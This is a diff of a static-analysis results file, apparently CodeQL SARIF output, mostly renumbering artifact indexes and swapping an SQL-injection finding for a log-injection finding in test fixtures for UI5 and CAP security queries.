           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 147
+            "index" : 143
           },
           "region" : {
             "startLine" : 5,
@@ -19155,7 +18920,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 151
+            "index" : 148
           },
           "region" : {
             "startLine" : 23,
@@ -19176,7 +18941,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 156
+                  "index" : 153
                 },
                 "region" : {
                   "startLine" : 5,
@@ -19195,7 +18960,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 152
+                  "index" : 149
                 },
                 "region" : {
                   "startLine" : 9,
@@ -19213,7 +18978,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 151
+                  "index" : 148
                 },
                 "region" : {
                   "startLine" : 9,
@@ -19231,7 +18996,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 151
+                  "index" : 148
                 },
                 "region" : {
                   "startLine" : 15,
@@ -19249,7 +19014,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 151
+                  "index" : 148
                 },
                 "region" : {
                   "startLine" : 15,
@@ -19267,7 +19032,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 151
+                  "index" : 148
                 },
                 "region" : {
                   "startLine" : 17,
@@ -19285,7 +19050,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 151
+                  "index" : 148
                 },
                 "region" : {
                   "startLine" : 17,
@@ -19303,7 +19068,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 151
+                  "index" : 148
                 },
                 "region" : {
                   "startLine" : 17,
@@ -19321,7 +19086,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 151
+                  "index" : 148
                 },
                 "region" : {
                   "startLine" : 17,
@@ -19339,7 +19104,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 151
+                  "index" : 148
                 },
                 "region" : {
                   "startLine" : 23,
@@ -19360,7 +19125,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 156
+            "index" : 153
           },
           "region" : {
             "startLine" : 5,
@@ -19390,7 +19155,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/controller/app.controller.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 160
+            "index" : 156
           },
           "region" : {
             "startLine" : 16,
@@ -19411,7 +19176,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 164
+                  "index" : 161
                 },
                 "region" : {
                   "startLine" : 5,
@@ -19430,7 +19195,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 160
+                  "index" : 156
                 },
                 "region" : {
                   "startLine" : 10,
@@ -19448,7 +19213,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 160
+                  "index" : 156
                 },
                 "region" : {
                   "startLine" : 16,
@@ -19469,7 +19234,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 164
+            "index" : 161
           },
           "region" : {
             "startLine" : 5,
@@ -19499,7 +19264,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 3
+            "index" : 2
           },
           "region" : {
             "startLine" : 8,
@@ -19520,7 +19285,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 6,
@@ -19538,7 +19303,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 6,
@@ -19556,7 +19321,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 8,
@@ -19577,7 +19342,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 3
+            "index" : 2
           },
           "region" : {
             "startLine" : 6,
@@ -19606,7 +19371,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 3
+            "index" : 2
           },
           "region" : {
             "startLine" : 16,
@@ -19627,7 +19392,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 13,
@@ -19645,7 +19410,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 13,
@@ -19663,7 +19428,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 13,
@@ -19681,7 +19446,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 14,
@@ -19699,7 +19464,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 14,
@@ -19717,7 +19482,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 14,
@@ -19735,7 +19500,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 14,
@@ -19753,7 +19518,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 16,
@@ -19774,7 +19539,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 3
+            "index" : 2
           },
           "region" : {
             "startLine" : 13,
@@ -19803,7 +19568,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 3
+            "index" : 2
           },
           "region" : {
             "startLine" : 25,
@@ -19824,7 +19589,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 21,
@@ -19842,7 +19607,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 21,
@@ -19860,7 +19625,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 21,
@@ -19878,7 +19643,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 22,
@@ -19896,7 +19661,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 22,
@@ -19914,7 +19679,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 22,
@@ -19932,7 +19697,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 22,
@@ -19950,7 +19715,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 23,
@@ -19968,7 +19733,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 23,
@@ -19986,7 +19751,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 23,
@@ -20004,7 +19769,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 25,
@@ -20025,7 +19790,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 3
+            "index" : 2
           },
           "region" : {
             "startLine" : 21,
@@ -20054,7 +19819,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/control/xss.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 115
+            "index" : 112
           },
           "region" : {
             "startLine" : 13,
@@ -20075,7 +19840,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 121
+                  "index" : 118
                 },
                 "region" : {
                   "startLine" : 5,
@@ -20094,7 +19859,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 116
+                  "index" : 113
                 },
                 "region" : {
                   "startLine" : 9,
@@ -20112,7 +19877,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 115
+                  "index" : 112
                 },
                 "region" : {
                   "startLine" : 7,
@@ -20130,7 +19895,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 115
+                  "index" : 112
                 },
                 "region" : {
                   "startLine" : 13,
@@ -20151,7 +19916,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 121
+            "index" : 118
           },
           "region" : {
             "startLine" : 5,
@@ -20181,7 +19946,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 125
+            "index" : 121
           },
           "region" : {
             "startLine" : 17,
@@ -20202,7 +19967,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 130
+                  "index" : 128
                 },
                 "region" : {
                   "startLine" : 5,
@@ -20221,7 +19986,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 126
+                  "index" : 123
                 },
                 "region" : {
                   "startLine" : 9,
@@ -20239,7 +20004,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 125
+                  "index" : 121
                 },
                 "region" : {
                   "startLine" : 8,
@@ -20257,7 +20022,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 125
+                  "index" : 121
                 },
                 "region" : {
                   "startLine" : 15,
@@ -20275,7 +20040,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 125
+                  "index" : 121
                 },
                 "region" : {
                   "startLine" : 15,
@@ -20293,7 +20058,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 125
+                  "index" : 121
                 },
                 "region" : {
                   "startLine" : 16,
@@ -20311,7 +20076,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 125
+                  "index" : 121
                 },
                 "region" : {
                   "startLine" : 16,
@@ -20329,7 +20094,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 125
+                  "index" : 121
                 },
                 "region" : {
                   "startLine" : 16,
@@ -20347,7 +20112,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 125
+                  "index" : 121
                 },
                 "region" : {
                   "startLine" : 16,
@@ -20365,7 +20130,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 125
+                  "index" : 121
                 },
                 "region" : {
                   "startLine" : 17,
@@ -20386,7 +20151,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 130
+            "index" : 128
           },
           "region" : {
             "startLine" : 5,
@@ -20416,7 +20181,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/controller/app.controller.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 133
+            "index" : 131
           },
           "region" : {
             "startLine" : 17,
@@ -20437,7 +20202,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 138
+                  "index" : 136
                 },
                 "region" : {
                   "startLine" : 5,
@@ -20456,7 +20221,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 133
+                  "index" : 131
                 },
                 "region" : {
                   "startLine" : 9,
@@ -20474,7 +20239,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 133
+                  "index" : 131
                 },
                 "region" : {
                   "startLine" : 15,
@@ -20492,7 +20257,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 133
+                  "index" : 131
                 },
                 "region" : {
                   "startLine" : 15,
@@ -20510,7 +20275,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 133
+                  "index" : 131
                 },
                 "region" : {
                   "startLine" : 17,
@@ -20531,7 +20296,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 138
+            "index" : 136
           },
           "region" : {
             "startLine" : 5,
@@ -20561,7 +20326,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-allow-all/index.html",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 81
+            "index" : 77
           },
           "region" : {
             "startLine" : 9,
@@ -20591,7 +20356,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-allow-all/index.html",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 81
+            "index" : 77
           },
           "region" : {
             "startLine" : 28,
@@ -20621,7 +20386,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-default-all/index.html",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 83
+            "index" : 80
           },
           "region" : {
             "startLine" : 2,
@@ -20650,7 +20415,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/index.html",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 172
+            "index" : 169
           },
           "region" : {
             "startLine" : 2,
@@ -20663,34 +20428,34 @@
         "primaryLocationStartColumnFingerprint" : "0"
       }
     }, {
-      "ruleId" : "js/cap-sql-injection",
+      "ruleId" : "js/cap-log-injection",
       "rule" : {
-        "id" : "js/cap-sql-injection",
-        "index" : 0,
+        "id" : "js/cap-log-injection",
+        "index" : 1,
         "toolComponent" : {
           "index" : 0
         }
       },
       "message" : {
-        "text" : "This query depends on a [user-provided value](1)."
+        "text" : "Log entry depends on a [user-provided value](1)."
       },
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
             "uriBaseId" : "%SRCROOT%",
             "index" : 1
           },
           "region" : {
-            "startLine" : 13,
-            "startColumn" : 36,
-            "endColumn" : 41
+            "startLine" : 11,
+            "startColumn" : 16,
+            "endColumn" : 29
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "e5ae8639cd6967fb:1",
-        "primaryLocationStartColumnFingerprint" : "29"
+        "primaryLocationLineHash" : "eae426bf8fad0192:1",
+        "primaryLocationStartColumnFingerprint" : "9"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -20698,7 +20463,7 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
                   "index" : 1
                 },
@@ -20716,7 +20481,7 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
                   "index" : 1
                 },
@@ -20734,7 +20499,7 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
                   "index" : 1
                 },
@@ -20752,7 +20517,7 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
                   "index" : 1
                 },
@@ -20770,7 +20535,7 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
                   "index" : 1
                 },
@@ -20788,7 +20553,7 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
                   "index" : 1
                 },
@@ -20806,14 +20571,14 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
                   "index" : 1
                 },
                 "region" : {
-                  "startLine" : 12,
-                  "startColumn" : 50,
-                  "endColumn" : 54
+                  "startLine" : 11,
+                  "startColumn" : 25,
+                  "endColumn" : 29
                 }
               },
               "message" : {
@@ -20824,72 +20589,18 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
-                },
-                "region" : {
-                  "startLine" : 12,
-                  "startColumn" : 44,
-                  "endColumn" : 56
-                }
-              },
-              "message" : {
-                "text" : "`ID=${book}`"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
                   "index" : 1
                 },
                 "region" : {
-                  "startLine" : 12,
-                  "startColumn" : 19,
-                  "endColumn" : 57
+                  "startLine" : 11,
+                  "startColumn" : 16,
+                  "endColumn" : 29
                 }
               },
               "message" : {
-                "text" : "SELECT. ... book}`)"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
-                },
-                "region" : {
-                  "startLine" : 12,
-                  "startColumn" : 11,
-                  "endColumn" : 57
-                }
-              },
-              "message" : {
-                "text" : "query"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
-                },
-                "region" : {
-                  "startLine" : 13,
-                  "startColumn" : 36,
-                  "endColumn" : 41
-                }
-              },
-              "message" : {
-                "text" : "query"
+                "text" : "\"CAP:\" + book"
               }
             }
           } ]
@@ -20899,7 +20610,7 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
             "uriBaseId" : "%SRCROOT%",
             "index" : 1
           },
@@ -20914,34 +20625,34 @@
         }
       } ]
     }, {
-      "ruleId" : "js/cap-sql-injection",
+      "ruleId" : "js/cap-log-injection",
       "rule" : {
-        "id" : "js/cap-sql-injection",
-        "index" : 0,
+        "id" : "js/cap-log-injection",
+        "index" : 1,
         "toolComponent" : {
           "index" : 0
         }
       },
       "message" : {
-        "text" : "This query depends on a [user-provided value](1)."
+        "text" : "Log entry depends on a [user-provided value](1)."
       },
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
             "uriBaseId" : "%SRCROOT%",
             "index" : 1
